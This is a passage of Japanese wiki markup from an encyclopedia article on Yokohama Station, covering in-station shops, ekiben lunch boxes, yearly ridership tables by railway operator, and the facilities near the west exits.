** 京急横浜駅中央改札内店 - 京急線中央改札内
** 相鉄横浜駅店 - 相鉄線1F改札外
** 市営地下鉄横浜駅店 - 市営地下鉄線改札外
* [[セブン-イレブン]]
** 京急STみなとみらい横浜南改札 - 東急東横線・みなとみらい線南改札外
** 京急ST横浜中央改札 - 京急線中央改札内
** 京急STみなとみらい横浜駅 - 東急東横線・みなとみらい線改札内
** 京急ST横浜北口改札 - 京急線北口改札内
* [[ローソン]]+toks<ref>{{Cite web|和書|url=http://www.e-toks.co.jp/shopinfo2detail#d10 |title=ローソン+toks店舗一覧|publisher=東急ステーションリテールサービス|accessdate=2016-03-26}}</ref>
** 横浜駅店 - 東急東横線・みなとみらい線横浜駅改札外
* [[ファミリーマート]]<ref>{{Cite web|和書|url=http://www.kyouryokukai.or.jp/service/service_conveni/|title=ファミリーマート はまりんコンビニ|publisher=横浜市交通局協力会|accessdate=2013-10-02}}</ref>
** はまりん 横浜店 - 市営地下鉄線改札外地下1階、9番出入口付近
** はまりん横浜駅ミニ店 - 市営地下鉄線改札外地下1階、3番出入口・相鉄ジョイナス連絡口付近
* [[キュービーネット|QBハウス]]<ref>{{Cite web|和書|url=http://www.qbhouse.co.jp/search/list.php?lrid=79&pref=14|title=店舗検索結果 | QBハウス "10分の身だしなみ"|accessdate=2013-10-02}}</ref>
** 京急横浜駅北口店 - 京急線北口改札内
** 市営地下鉄横浜店 - 市営地下鉄線改札外
* [[TSUTAYA]]
** はまりん横浜駅店 - 市営地下鉄線改札外地下1階、2番出口近く<ref>{{Cite web|和書|url=http://store.tsutaya.co.jp/storelocator/detail/1766.html|title=TSUTAYA はまりん横浜駅店 神奈川県横浜市西区 - TSUTAYA 店舗情報 - 店舗検索|accessdate=2013-10-02}}</ref>
* [[BECK'S COFFEE SHOP]](ベックスコーヒーショップ)<ref>{{Cite web|和書|url=http://www.jefb.co.jp/becks/shop/|title=ベックスコーヒーショップ|店舗情報|accessdate=2013-10-02}}</ref>
** 横浜北口店 - JR北口改札内
** 横浜中央口店 - JR中央南改札内
** 横浜南口店 - JR南口改札内
|}}
== 駅弁 ==
[[File:Kiyoken Shumai Bento 2017-08.jpg|thumb|シウマイ弁当]]
主な[[駅弁]]は下記の通り<ref>{{Cite journal|和書|year=2023|publisher=[[JTBパブリッシング]]|journal=JTB時刻表|issue=2023年3月号|page=148-149}}</ref>。現在は主に[[崎陽軒]]が販売している。和製中華風料理が多く、特に[[シウマイ弁当]]が有名である。
{{Div col||20em}}
* 幕の内弁当
* 横濱中華弁当
* お赤飯弁当
* かながわ味わい弁当(季節により内容が変わる:春・初夏・夏・秋・冬)
* 炒飯弁当
* [[シウマイ弁当]]
* しょうが焼弁当
* おべんとう(季節により内容が変わる:春・初夏・夏・秋・冬)
* 横濱チャーハン
* 横濱ピラフ
* いなり寿司
{{Div col end}}
===販売箇所===
下記の通り改札内外に崎陽軒の売店がある。その他、駅ナカ・駅ビルにも弁当店が存在する。地下鉄コンコースでの本格的な駅弁販売は世界的にみてかなり希少である。
* 中央通路
* 京急中央改札内
* JR
** 3・4番線ホーム(根岸線)
** 5・6番線ホーム(熱海方面)
* 横浜高速・東急南改札内
* 相鉄改札外
* 地下鉄改札外
1960年代頃までは、国鉄「湘南電車」(東海道線中距離普通列車)のホームに売り子が立ち、到着列車の窓越しに弁当やシウマイの折詰を販売する風景が見られた。当時は崎陽軒が下りホーム、楽陽軒が上りホームを分担していた。シュウマイに瓢箪形の陶器製の醤油入れがつき、特に崎陽軒のものは[[横山隆一]](後に[[原田治]])による「ひょうちゃん」の多種類に及ぶキャラクターが描かれ、人気を集めた。
== 利用状況 ==
横浜市の拠点となる駅の一つであり、神奈川県および[[東海道本線]]では最も利用客の多い駅である(2019年度の各社合計の[[乗降人員]]は1日平均約230万人、年間約8億4100万人)。各社局の利用状況は以下の通りである。相互乗り入れによる直通客などを除いた2007年度の乗降人員は1,203,963人である<ref>駅別乗降者数総覧 ’08 エンタテイメントビジネス総合研究所</ref>。
* '''JR東日本''' - 2022年度の1日平均[[乗降人員#乗車人員|'''乗車'''人員]]は'''340,536人'''である<ref group="利用客数">[http://www.jreast.co.jp/passenger/index.html 各駅の乗車人員] - JR東日本</ref>。
*: 同社の駅では東京駅に次いで第4位。神奈川県内での同社の駅では第1位。
* '''東急電鉄''' - 2022年度の1日平均[[乗降人員|'''乗降'''人員]]は'''308,749人'''である<ref group="利用客数">[https://www.tokyu.co.jp/railway/data/passengers/ 2022年度乗降人員] - 東急電鉄</ref>。
*: 同社の駅では渋谷駅に次ぐ第2位。ただし、横浜高速鉄道との相互直通人員を含む。
* '''京浜急行電鉄''' - 2022年度の1日平均'''乗降'''人員は'''275,692人'''(乗車人員:137,296人、降車人員:138,396人)である<ref group="利用客数">{{Cite web|和書|url=https://www.keikyu.co.jp/company/pdf/handbook2021-2022_P019-042.pdf|archiveurl=|title=京急グループ会社要覧 2021 - 2022|archivedate=|page=31|accessdate=2021-09-25|publisher=京浜急行電鉄|format=PDF|language=日本語}}</ref><ref name="yokohama" group="乗降データ" />。
*: 同社の駅では第1位。下り方(横須賀中央方面)と他社線を乗り継ぐ利用者が多く、下り方で[[輸送密度]]が高くなっている。
* '''相模鉄道''' - 2022年度の1日平均'''乗降'''人員は'''329,228人'''である<ref group="利用客数">{{Cite report|url=https://cdn.sotetsu.co.jp/media/2023/about/services/pdf/2023.pdf|title=相鉄グループ要覧2023-2024|page=69|format=pdf|accessdate=2023-10-22|archiveurl=https://web.archive.org/web/20231022001919/https://cdn.sotetsu.co.jp/media/2023/about/services/pdf/2023.pdf|archivedate=2023-10-22}}</ref>。
*: 相鉄線全27駅中第1位。
* '''横浜市営地下鉄''' - 2022年度の1日平均'''乗降'''人員は'''124,525人'''(乗車人員:62,414人、降車人員:62,111人)である<ref group="乗降データ" name="yokohama" >[https://www.city.yokohama.lg.jp/city-info/yokohamashi/tokei-chosa/portal/tokeisho/09.html 横浜市統計書] - 横浜市</ref>。
*: 同局の駅では第1位。
* '''横浜高速鉄道''' - 2022年度の1日平均'''乗降'''人員は'''178,865人'''(乗車人員:91,158人、降車人員:87,707人)である<ref group="利用客数">[https://www.mm21railway.co.jp/media/space/yokohama_sta.html 1日あたりの各駅の乗降人員] - みなとみらい線</ref><ref name="yokohama" group="乗降データ" />。
*: 同社の駅では第1位。ただし、東急電鉄との相互直通人員を含む。
=== 年度別1日平均乗降人員 ===
各年度の1日平均'''乗降'''人員は下表の通りである(JRを除く)。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗降人員<ref group="乗降データ" name="yokohama" /><ref group="乗降データ" name="train-media">[https://www.train-media.net/report.html レポート] - 関東交通広告協議会</ref>
!rowspan=3|年度
!colspan=2|東急電鉄
!colspan=2|京浜急行電鉄
!colspan=2|相模鉄道
!colspan=2|横浜市営地下鉄
!colspan=2|横浜高速鉄道
|-
!colspan=2|東横線
!colspan=2|本線
!colspan=2|本線
!colspan=2|ブルーライン
!colspan=2|みなとみらい線
|-
!1日平均<br />乗降人員
!増加率
!1日平均<br />乗降人員
!増加率
!1日平均<br />乗降人員
!増加率
!1日平均<br />乗降人員
!増加率
!1日平均<br />乗降人員
!増加率
|-
|1980年(昭和55年)
| ||
|295,691||
| ||
| ||
|colspan=2 rowspan=6 style="text-align:center"|未開業
|-
|1998年(平成10年)
|258,060||
| ||
| ||
| ||
|-
|1999年(平成11年)
|256,234 ||−0.7%
| ||
|472,414||
|111,485||
|-
|2000年(平成12年)
|246,800||−3.7%
|297,427||
|459,965||−2.6%
|114,860||3.0%
|-
|2001年(平成13年)
|244,136||−1.1%
|296,227||−0.4%
|455,239||−1.0%
|116,450||1.4%
|-
|2002年(平成14年)
|243,815||−0.1%
|296,138||0.0%
|445,946||−2.0%
|116,320||−0.1%
|-
|2003年(平成15年)
|305,031||25.1%
|301,269||1.7%
|439,885||−1.4%
|118,374||1.8%
|colspan=2|<ref group="注">2004年(平成16年)2月1日開業。</ref>
|-
|2004年(平成16年)
|313,322||2.7%
|304,311||1.0%
|436,010||−0.9%
|122,671||3.6%
|116,404||
|-
|2005年(平成17年)
|307,985||−1.7%
|306,494||0.7%
|437,354||0.3%
|122,483||−0.2%
|127,015||9.1%
|-
|2006年(平成18年)
|311,933||1.3%
|308,041||0.5%
|437,932||0.1%
|125,110||2.1%
|134,830||6.1%
|-
|2007年(平成19年)
|323,851||3.8%
|314,772||2.2%
|440,986||0.7%
|132,509||5.9%
|147,138||9.1%
|-
|2008年(平成20年)
|328,769||1.5%
|314,580||−0.1%
|437,820||−0.7%
|124,173||−6.3%
|154,482||5.0%
|-
|2009年(平成21年)
|332,002||1.0%
|312,890||−0.5%
|431,347||−1.5%
|129,987||4,7%
|158,964||2.9%
|-
|2010年(平成22年)
|327,587||−1.3%
|311,022||−0.6%
|428,224||−0.7%
|129,194||−0.6%
|156,141||−1.8%
|-
|2011年(平成23年)
|327,237||−0.1%
|303,890||−2.3%
|420,242||−1.9%
|127,528||−1.3%
|160,233||2.6%
|-
|2012年(平成24年)
|335,988||2.7%
|305,878||0.7%
|421,165||0.2%
|128,244||0.6%
|167,804||4.7%
|-
|2013年(平成25年)
|351,652||4.7%
|313,608||2.5%
|424,631||0.8%
|134,131||4.6%
|183,469||9.3%
|-
|2014年(平成26年)
|348,681||−0.8%
|311,593||−0.6%
|416,766||−1.9%
|132,277||−1.4%
|185,465||1.1%
|-
|2015年(平成27年)
|354,148||1.6%
|316,478||1.6%
|421,948||1.2%
|134,781||1.9%
|189,283||2.1%
|-
|2016年(平成28年)
|358,191||1.1%
|319,310||0.9%
|424,764||0.7%
|136,118||1.0%
|193,212||2.1%
|-
|2017年(平成29年)
|362,526||1.2%
|323,668||1.4%
|428,218||0.8%
|141,376||3.9%
|200,276||3.7%
|-
|2018年(平成30年)
|367,023||1.2%
|327,025||1.0%
|429,114||0.2%
|143,618||1.6%
|207,635||3.7%
|-
|2019年(令和元年)
|364,270||−0.8%
|324,183||−0.9%
|421,911||−1.7%
|144,045||0.3%
|210,832||1.5%
|-
|2020年(令和{{0}}2年)
|239,002||−34.4%
|223,343||−31.1%
|296,147||−29.9%
|102,344||−28.9%
|137,724||−34.7%
|-
|2021年(令和{{0}}3年)
|275,095||15.1%
|245,222||9.8%
|305,183||3.1%
|112,370||9.8%
|150,014||8.9%
|-
|2022年(令和{{0}}4年)
|308,749||12.2%
|275,692||12.4%
|329,228||7.3%
|124,525||10.8%
|178,865||19.2%
|}
=== 年度別1日平均乗車人員 ===
各年度の1日平均'''乗車'''人員は下表の通りである。
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗車人員(1979年 - 2002年)<ref group="乗降データ" name="yokohama" />
!年度
!JR東日本!!東急電鉄!!京浜急行電鉄!!相模鉄道!!横浜市営<br />地下鉄!!出典
|-
|1979年(昭和54年)
|colspan=1 rowspan=8 style="text-align:center"|<ref group="注">1987年(昭和62年)4月1日より民営化。</ref>
| || || ||24,445
|<ref group="横浜市統計書"name="toukei2023">[https://www.city.yokohama.lg.jp/city-info/yokohamashi/tokei-chosa/portal/tokeisho/09.html#90C8F 鉄道、軌道駅別利用人員]-横浜市</ref>
|-
|1980年(昭和55年)
||122,844||147,589||193,033||26,178
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1981年(昭和56年)
||127,726||150,868||195,729||27,488
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1982年(昭和57年)
||131,926||153,036||197,405||28,205
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1983年(昭和58年)
||135,675||155,697||199,369||29,625
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1984年(昭和59年)
||137,789||154,778||203,323||32,578
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1985年(昭和60年)
||140,532||156,893||208,460||43,806
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1986年(昭和61年)
||142,737||161,767||213,564||43,639
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1987年(昭和62年)
| ||145,563||164,014||218,568||43,274
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1988年(昭和63年)
|<ref>[http://www.yomiuri.co.jp/national/20170713-OYT1T50069.html 再開発進む品川、渋谷抜き初の5位…JR利用客](読売新聞 2017年7月13日閲覧)</ref> 325,639
|147,517||168,496||226,214||44,731
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1989年(平成元年)
| ||147,334||171,038||233,266||45,346
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1990年(平成{{0}}2年)
|364,959||146,589||173,416||240,548||45,704
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1991年(平成{{0}}3年)
|378,262||145,489||175,202||245,689||46,773
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1992年(平成{{0}}4年)
|383,837||141,160||173,167||248,586||46,944
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1993年(平成{{0}}5年)
| 392,830||137,283||172,104||248,515||53,782
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1994年(平成{{0}}6年)
|397,125||134,629||171,575||246,951||54,371
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1995年(平成{{0}}7年)
|397,964||131,653||168,393||249,452||54,284
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1996年(平成{{0}}8年)
|402,216||127,669||162,745||245,088||55,116
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1997年(平成{{0}}9年)
|399,913||124,823||157,517||241,918||55,392
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1998年(平成10年)
|396,732||121,643||154,041||240,803||55,889
|<ref group="横浜市統計書" name="toukei2023" />
|-
|1999年(平成11年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/1999.html 各駅の乗車人員(1999年度)] - JR東日本</ref> 391,196
|120,049||150,730||236,528||56,038
|<ref group="神奈川県統計" name="toukei2001">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369557.pdf 平成13年]}}</ref>
|-
|2000年(平成12年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2000.html 各駅の乗車人員(2000年度)] - JR東日本</ref> 385,023
|118,886||149,073||230,716||57,522
|<ref group="神奈川県統計" name="toukei2001" />
|-
|2001年(平成13年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2001.html 各駅の乗車人員(2001年度)] - JR東日本</ref> 381,604
|121,866||148,467||228,191||58,130
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369552.pdf 平成14年]}}</ref>
|-
|2002年(平成14年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2002.html 各駅の乗車人員(2002年度)] - JR東日本</ref> 378,767
|121,954||148,588||223,539||58,008
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369547.pdf 平成15年]}}</ref>
|}
{|class="wikitable" style="text-align:right; font-size:85%;"
|+年度別1日平均乗車人員(2003年以降)<ref group="乗降データ" name="yokohama" />
!年度
!JR東日本!!東急電鉄!!京浜急行電鉄!!相模鉄道!!横浜市営<br />地下鉄!!横浜高速鉄道!!出典
|-
|2003年(平成15年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2003.html 各駅の乗車人員(2003年度)] - JR東日本</ref> 379,053
|129,765||149,534||220,383||58,602||<ref group="注">2004年(平成16年)2月1日より営業開始。</ref>
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369542.pdf 平成16年]}}</ref>
|-
|2004年(平成16年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2004.html 各駅の乗車人員(2004年度)] - JR東日本</ref> 380,922
|154,192||151,143||218,073||60,454||60,749
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369533.pdf 平成17年]}}</ref>
|-
|2005年(平成17年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2005.html 各駅の乗車人員(2005年度)] - JR東日本</ref> 384,594
|152,190||152,033||218,467||61,078||65,789
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369528.pdf 平成18年]}}</ref>
|-
|2006年(平成18年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2006.html 各駅の乗車人員(2006年度)] - JR東日本</ref> 391,185
|154,179||152,721||218,593||62,325||69,754
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/369523.pdf 平成19年]}}</ref>
|-
|2007年(平成19年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2007.html 各駅の乗車人員(2007年度)] - JR東日本</ref> 403,394
|159,641||155,474||219,890||66,145||75,314
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/35540.pdf 平成20年]}}</ref>
|-
|2008年(平成20年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2008.html 各駅の乗車人員(2008年度)] - JR東日本</ref> 402,193
|163,795||155,905||218,232||62,153||79,293
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/773803.pdf 平成21年]}}</ref>
|-
|2009年(平成21年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2009.html 各駅の乗車人員(2009年度)] - JR東日本</ref> 399,633
|164,678||155,209||215,039||65,120||81,872
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/161682.pdf 平成22年]}}</ref>
|-
|2010年(平成22年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2010.html 各駅の乗車人員(2010年度)] - JR東日本</ref> 398,052
|162,576||154,463||213,548||64,724||80,289
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/427362.pdf 平成23年]}}</ref>
|-
|2011年(平成23年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2011.html 各駅の乗車人員(2011年度)] - JR東日本</ref> 394,900
|161,242||150,170||209,572||63,912||81,776
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/706868.pdf 平成24年]}}</ref>
|-
|2012年(平成24年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2012.html 各駅の乗車人員(2012年度)] - JR東日本</ref> 400,655
|166,891||151,430||210,090||64,308||85,691
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/707631.pdf 平成25年]}}</ref>
|-
|2013年(平成25年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2013.html 各駅の乗車人員(2013年度)] - JR東日本</ref> 406,594
|175,392||155,320||211,708||67,179||93,454
|<ref group="神奈川県統計">{{PDFlink|[http://www.klnet.pref.kanagawa.jp/resource/org_0101/pol_20150926_003_17.pdf 平成26年]}}</ref>
|-
|2014年(平成26年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2014.html 各駅の乗車人員(2014年度)] - JR東日本</ref> 403,865
|173,747||154,399||208,076||66,317||94,200
|<ref group="神奈川県統計">{{PDFlink|[http://www.klnet.pref.kanagawa.jp/resource/org_0101/pol_20160609_001_15.pdf 平成27年]}}</ref>
|-
|2015年(平成27年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2015.html 各駅の乗車人員(2015年度)] - JR東日本</ref> 411,383
|176,415||156,567||210,688||67,510||96,113
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/uploaded/attachment/877254.pdf 平成28年]}}</ref>
|-
|2016年(平成28年)
|<ref group="JR">[http://www.jreast.co.jp/passenger/2016.html 各駅の乗車人員(2016年度)] - JR東日本</ref> 414,683
|178,284||158,263||212,051||68,283||98,216
|<ref group="神奈川県統計">{{PDFlink|[http://www.pref.kanagawa.jp/docs/x6z/tc10/documents/15.pdf 平成29年]}}</ref>
|-
|2017年(平成29年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2017.html 各駅の乗車人員(2017年度)] - JR東日本</ref> 420,192
|180,487||160,397||213,875||70,880||101,654
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/3406/15-30.pdf 平成30年]}}</ref>
|-
|2018年(平成30年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2018.html 各駅の乗車人員(2018年度)] - JR東日本</ref> 423,651
|182,691||162,004||214,348||72,091||105,402
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/73942/15_2.pdf 令和元年]}}</ref>
|-
|2019年(令和元年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2019.html 各駅の乗車人員(2019年度)] - JR東日本</ref> 419,440
|181,388||160,227||211,500||72,278||107,042
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/46041/202015.pdf 令和2年]}}</ref>
|-
|2020年(令和{{0}}2年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2020.html 各駅の乗車人員(2020年度)] - JR東日本</ref> 290,376
|118,912||110,295||148,225||51,243||69,534
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/96367/15.pdf 令和3年]}}</ref>
|-
|2021年(令和{{0}}3年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/2021.html 各駅の乗車人員(2021年度)] - JR東日本</ref> 303,759
|136,830||122,152||152,802||56,299||76,155
|<ref group="神奈川県統計">{{PDFlink|[https://www.pref.kanagawa.jp/documents/46041/202215.pdf 令和4年]}}</ref>
|-
|2022年(令和{{0}}4年)
|<ref group="JR">[https://www.jreast.co.jp/passenger/index.html 各駅の乗車人員(2022年度)] - JR東日本</ref> 340,536
|153,620||137,296||164,843||62,414||91,158
|<ref group="横浜市統計書" name="toukei2023" />
|}
== 駅周辺 ==
横浜駅周辺地区は、[[関内駅]]周辺とともに横浜市における[[都心]](ツインコア)の一つである'''横浜都心'''に指定されている<ref>{{PDFlink|[https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/toshin/excite22/22/ey22.files/0018_20180920.pdf エキサイトよこはま22 横浜駅周辺大改造計画 概要版(改訂版)]}} 横浜市都市整備局都心再生部都心再生課、平成25年(2013年)6月発行。</ref><ref>{{Cite web|和書|url=https://www.city.yokohama.lg.jp/kurashi/machizukuri-kankyo/toshiseibi/sogotyousei/plan/kaitei/kaitei.files/0002_20180921.pdf |format=PDF |title=横浜市都市計画マスタープラン(全体構想)|year=2013 |month=3 |publisher=横浜市 |accessdate=2015-07-05}}</ref>。
前述のように、江戸時代までの横浜駅周辺は袖ケ浦と呼ばれる[[入り江]]であった<ref>西区役所・横浜市都市整備局「西区まちづくり方針【平成28年11月改定】」10ページ、横浜市、2019年1月18日、</ref>。[[1869年]]頃に[[高島嘉右衛門]]によって[[神奈川駅]] - 横浜駅 - [[桜木町駅]]の線路・国道1号線の部分が[[堤防]]状に[[埋立地|埋め立て]]られ、[[1872年]]に新橋 - 横浜を結ぶ日本初の鉄道路線が開通した。そして[[1928年]]には横浜駅が現在の場所に移転され、道路に面した東口に駅舎が建設された。
駅周辺は[[百貨店]]などの商業ビルが林立し、横浜最大の[[繁華街]]となっている。西口には[[髙島屋]]横浜店([[相鉄ジョイナス]])東口には[[そごう横浜店]]が位置し、それぞれ西口と東口の顔になっている。西口・東口とも巨大な[[地下街]]を有し、周辺のビルと直結している。駅周辺は特定都市再生緊急整備地域に指定されており<ref name="yokohama-toshiseibi-saisei" /><ref name="yokohama-happyo120120" />、段階的に大規模な再開発を行う計画となっている。
{{See also|#エキサイトよこはま22(横浜駅周辺大改造計画)}}
=== 西口 ===
[[File:相鉄ジョイナスの全景.jpg|thumb|right|横浜スカイビルから見た西口方面(2019年3月)]]
[[File:Yokohama station west exit.jpeg|thumb|right|西口駅前、旧・[[CIAL|横浜CIAL]]時代(2008年2月)]]
[[File:Yokohama-west-station-building-202009.jpg|thumb|right|西口駅前、JR横浜タワー完成後(2020年9月)]]
{{See also|南幸|北幸}}
所在地は、駅周辺が[[南幸]]一丁目、[[新田間川]]以南が南幸二丁目、新田間川以北が[[北幸]]一・二丁目。南幸は[[繁華街]]、北幸は西口駅前バスターミナルに面した場所以外は[[オフィス街]]という棲み分けがなされている。[[髙島屋#横浜店|横浜高島屋]]([[相鉄ジョイナス]])や[[ヨドバシカメラ|ヨドバシ]]横浜といった大型商業施設の他にも飲食店が多数集積しており、飲食店街は他の首都圏の繁華街と同様に雑多な雰囲気をもつ。
==== 主な施設 ====
{{columns-list|2|
* [[JR横浜タワー]](旧:[[横浜ステーシヨンビル|横浜ステーションビル]]・[[横浜エクセルホテル東急]])
** [[NEWoMan]]横浜
** [[ティ・ジョイ|T・ジョイ横浜]]
** [[CIAL]]横浜
* 相鉄本社ビル
** [[相鉄ホールディングス]]本社
** [[相模鉄道]]本社
* 新相鉄ビル
** [[相鉄ジョイナス]]
** [[髙島屋#横浜店|髙島屋横浜店]](旧:相鉄会館)
* 横浜駅東口第1バスターミナル(横浜駅西口第1のりば)
* 旧:[[ザ・ダイヤモンド]](ダイヤモンド地下街)
** 横浜駅西口地下駐車場
* [[戸部警察署]]横浜駅西口警備派出所
* [[横浜岡田屋モアーズ]]
** [[ハンズ (小売業)|ハンズ]]横浜店
* 岩崎学園ビル
** [[ヨドバシ横浜]](旧:[[横浜三越]])
*** [[ヨドバシカメラ]]マルチメディア横浜
** [[学校法人岩崎学園]]
** みずほ銀行横浜駅前支店・菊名出張所
* [[横浜ベイシェラトン ホテル&タワーズ]](相鉄ビル)
* [[横浜天理教館]](天理ビル)
** [[オカムラ]]本社
* 横浜ファーストビル
|}}
<gallery widths="180" heights="130px">
Yokohama-station-NEWoMan-CIAL.jpg|JR横浜タワー(2020年6月)
Yokohama Station West police station.JPG|戸部警察署横浜駅西口警備派出所(2015年8月)
<!--Sun and Child (by Kojin Toneyama).jpg|中央通路の西口階段上部に設置されていた陶板[[レリーフ]]「太陽とこども」([[利根山光人]]制作/1982年4月に[[日本交通文化協会]]が設置)<ref>[http://jptca.org/publicart027/ パブリックアート「太陽とこども」(利根山光人)](日本交通文化協会)</ref><ref>[http://hamarepo.com/story.php?story_id=1378 ほこりだらけの「太陽とこども」のレリーフ、いつ掃除してるの?](はまれぽ.com 2012年10月8日)</ref>{{refnest|group="注"|[[#西口周辺の再開発計画|西口駅ビル工事]]に伴い、2017年6月より非展示となっていたが、2020年5月より作品の一部を地下1階・相鉄線連絡通路に移設展示している<ref>[http://jptca.org/news/20200529-15693/ 横浜駅「太陽とこども」を再展示へ](日本交通文化協会 2020年5月29日)</ref>。}}--><!--トップに掲載-->
</gallery>
=== きた西口 ===
[[File:Yokohama Station-NWest exit.jpg|thumb|right|きた西口(2009年8月)]]
2007年4月供用開始。裏通りの飲み屋街に面する。周辺では鶴屋橋の架替工事<ref name="yokohama-dorokyoku130410">[http://www.city.yokohama.lg.jp/doro/kyouryou/kakekae/turuyahashi/ 鶴屋橋架替事業について](横浜市道路局 2013年4月10日作成、2014年11月11日更新)</ref><ref name="hamarepo150927">{{Cite news |url=http://hamarepo.com/story.php?story_id=4534 |title=横浜駅きた西口付近、鶴屋橋の工事はいつ終わる? |publisher=はまれぽ.com |date=2015-09-27 |accessdate=2018-01-23}}</ref> やきた西口鶴屋地区の再開発(詳細は[[#鶴屋町地区|後節]])などが進行中で、現在は同出口部分も暫定的な外観となっている。
飲み屋街「たぬき小路」は、横浜駅西口の[[区画整理]]の際に鶴屋橋付近に立ち並んでいた[[占有|不法占拠]]の[[バラック]]建ての飲み屋を集約・移転させたものである<ref>神奈川サンケイ新聞社 編『ヨコハマ再開発物語』102-105ページ、日刊工業新聞社、1982年1月、ISBN 4-8191-0510-8</ref>。
==== 主な施設 ====
* 内海川跨線人道橋(2011年11月使用停止)
* 横浜岡田屋モアーズ
* 横浜鶴屋町郵便局
* [[学校法人岩崎学園]]
** [[情報科学専門学校横浜西口校]]
** [[横浜fカレッジ]]
** [[情報セキュリティ大学院大学]]
* [[横浜調理師専門学校]]
* [[神奈川県立横浜翠嵐高等学校]]
* [[神奈川歯科大学附属横浜研修センター・横浜クリニック]]
=== みなみ西口(相鉄口) ===
[[File:Yokohama Station-SWest exit.jpg|thumb|right|みなみ西口(旧:相鉄口、2009年8月)]]
かつては「相鉄口」と呼ばれていたが、みなみ通路の供用開始に伴い「みなみ西口」に改称された。[[相鉄ジョイナス]]の南側に位置し、相模鉄道の1階改札口に隣接する。
パルナード通り(横浜市道183号線)沿いには量販店が多いため、人通りが多く賑わっている。横浜市営地下鉄とは、出口内の階段(出口4)の他に、出口外にある階段(出口5)でも接続している。
「[[横浜駅西口五番街]]」は、[[1961年]]5月に開業した西口屈指の[[歓楽街]]である<ref>『スカイビルへの道 35年の歩み』 株式会社横浜スカイビル、1996年、142ページ</ref>。名称の由来については「[[南幸 (横浜市)|南幸]]一丁目5番地」に位置することと、「[[ニューヨーク]]の[[5番街 (マンハッタン)|5番街]]」をイメージして付けられた<ref name="hamarepo120208">{{Cite news |url=http://hamarepo.com/story.php?story_id=826 |title=横浜西口五番街の由来は?一番街から四番街まであるの? |publisher=はまれぽ.com |date=2012-02-08 |accessdate=2018-01-23}}</ref>。かつては[[キャバレー (接待飲食店)|グランドキャバレー]]や[[バー (酒場)|バー]]がひしめき合う盛り場であったが、現在は[[カラオケ]]店や[[居酒屋]]、[[パチンコ]]店などに大きく様変わりしている。
==== 主な施設 ====
{{columns-list|2|
* 新相鉄ビル
** 相模鉄道横浜駅
** [[相鉄ジョイナス]]
** 戸部警察署横浜駅相鉄口交番
* [[横浜駅西口五番街]](南幸一丁目)
** [[サードウェーブ|ドスパラ]]横浜駅前店
* 幸栄地区(南幸一丁目)
** 横浜駅西口郵便局
* 南幸二丁目
** [[ムービル]]
** [[ビックカメラ]]横浜西口店
